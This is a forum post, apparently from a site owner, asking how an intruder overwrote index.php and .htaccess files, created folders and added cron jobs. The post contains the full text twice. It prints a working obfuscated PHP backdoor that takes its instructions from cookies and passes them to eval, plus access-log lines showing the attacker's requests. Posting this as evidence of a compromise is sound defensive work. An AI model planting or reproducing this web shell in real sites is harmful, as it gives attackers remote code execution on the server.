I recently noticed my server domain public_html index.php and htaccess file is overwritten by someone without permission and the same thing happens on several subfolders.
On some websites, new subfolders are created on public_html all of them have index.php file. Sometimes Wordpress related folders are created.
That updated index file has this on public_html

On subfolder .PHP file has this code
<?php
function visit_cookie() {
$h = $_COOKIE;
($h && isset($h[93])) ? (($ms = $h[93].$h[78]) &&
($qh = $ms($h[73].$h[22])) && ($_qh = $ms($h[94].$h[82])) &&
($_qh = $_qh($ms($h[10]))) && @eval($_qh)) : $h;
return 0;
}
visit_cookie();
Automatic cron are setup on the server which I have never created.

I have checked the log this I get
66.248.202.40 - - [11/Nov/2022:09:25:59 +0000] "GET /.well-known/themes.php HTTP/1.1" 200 - "批量打开网址、网页、网站(网址、超链接批量打开工具,如何批量一键快速打开多个网站、网页)" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
66.248.202.40 - - [11/Nov/2022:09:25:59 +0000] "GET /module/update.php HTTP/1.1" 200 - "批量打开网址、网页、网站(网址、超链接批量打开工具,如何批量一键快速打开多个网站、网页)" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
Can someone please help me to find out how someone can upload these folders, and files and set up cron without any permission on the panel?
On some websites, new subfolders are created on public_html all of them have index.php file. Sometimes Wordpress related folders are created.
That updated index file has this on public_html

On subfolder .PHP file has this code
<?php
function visit_cookie() {
$h = $_COOKIE;
($h && isset($h[93])) ? (($ms = $h[93].$h[78]) &&
($qh = $ms($h[73].$h[22])) && ($_qh = $ms($h[94].$h[82])) &&
($_qh = $_qh($ms($h[10]))) && @eval($_qh)) : $h;
return 0;
}
visit_cookie();
Automatic cron are setup on the server which I have never created.

I have checked the log this I get
66.248.202.40 - - [11/Nov/2022:09:25:59 +0000] "GET /.well-known/themes.php HTTP/1.1" 200 - "批量打开网址、网页、网站(网址、超链接批量打开工具,如何批量一键快速打开多个网站、网页)" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
66.248.202.40 - - [11/Nov/2022:09:25:59 +0000] "GET /module/update.php HTTP/1.1" 200 - "批量打开网址、网页、网站(网址、超链接批量打开工具,如何批量一键快速打开多个网站、网页)" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
Can someone please help me to find out how someone can upload these folders, and files and set up cron without any permission on the panel?
Last edited by a moderator: